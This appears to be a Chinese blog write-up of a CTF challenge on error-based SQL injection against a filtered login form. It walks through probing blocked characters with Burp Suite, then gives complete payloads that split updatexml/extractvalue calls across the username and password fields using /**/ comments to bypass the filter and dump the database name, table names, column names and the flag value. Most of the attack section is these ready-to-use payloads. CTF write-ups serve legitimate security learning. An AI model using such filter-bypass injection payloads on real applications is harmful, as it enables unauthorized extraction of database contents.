美文网首页
ctf实验吧之加了料的报错注入

ctf实验吧之加了料的报错注入

作者: gelinlang | 来源:发表于2019-03-16 16:20 被阅读0次

    打开链接,显示让我登陆,并且提示tips:post username and password...,并且F12看源码提示sql语句sql="select * from users where username='username' and password='password'";。
    使用burpsuite抓包,将GET改为POST,添加上Content-Type: application/x-www-form-urlencoded
    ,在最后换行补上username和password参数,发给Repeter模块。

    尝试如下:
    构造username=1&password=1,返回Login failed。
    构造username=1'&password=1,报错。
    构造username=1' or 1=1#&password=1。返回Sql injection detected,说明对一些字符做了限制,接下来看下哪些字符不能用。使用Intruder模块检测,先设置要测试的点,然后加上Payload。

    结果如下:' ,and,or,select可用。#,--,union,=等不可用。()这个在username不可用,但在password可用。报错函数在username中可用,在password不可用。

    整理思路,显然是想让我们拼接sql语句,把一个想执行的语句,拆散到两个参数里,并注释中间的东西,来达到注入的目的。=号可以用!<>代替(<>表示不等于),在username中使用报错函数extractvalue(),updatexml()的名字,在password使用(),并用/**/注释掉password。

    爆数据库:

    username=1' or updatexml/*&password=*/(1,concat(0x7e,(select database()),0x7e),1) or '1
    或者
    username=1' or extractvalue/*&password=*/(1, concat(0x7e,(select database()))) or '1
    

    爆表名:

    username=1' or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where !(table_schema<>database())),0x7e),1) or '1
    或者
    username=1' or extractvalue/*&password=*/(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where !(table_schema<>database())))) or '1
    

    爆列名:

    username=1' or extractvalue/*&password=*/(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where !(table_name<>'ffll44jj')))) or '1
    

    爆字段:

    username=1' or extractvalue/*&password=*/(1, concat(0x7e,(select value from ffll44jj))) or '1
    

    后记:对于updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)这个语句。
    其中的concat()函数是将其连成一个字符串,不会符合XPATH_string的格式,从而出现格式错误,返回错误的这个字符串。0x7e是~ascii码,方便查看字符串。extractvalue()也像这个原理。都是让它们执行出错,从而返回出错的内容。

    相关文章

      网友评论

          本文标题:ctf实验吧之加了料的报错注入

          本文链接:https://www.haomeiwen.com/subject/tolsmqtx.html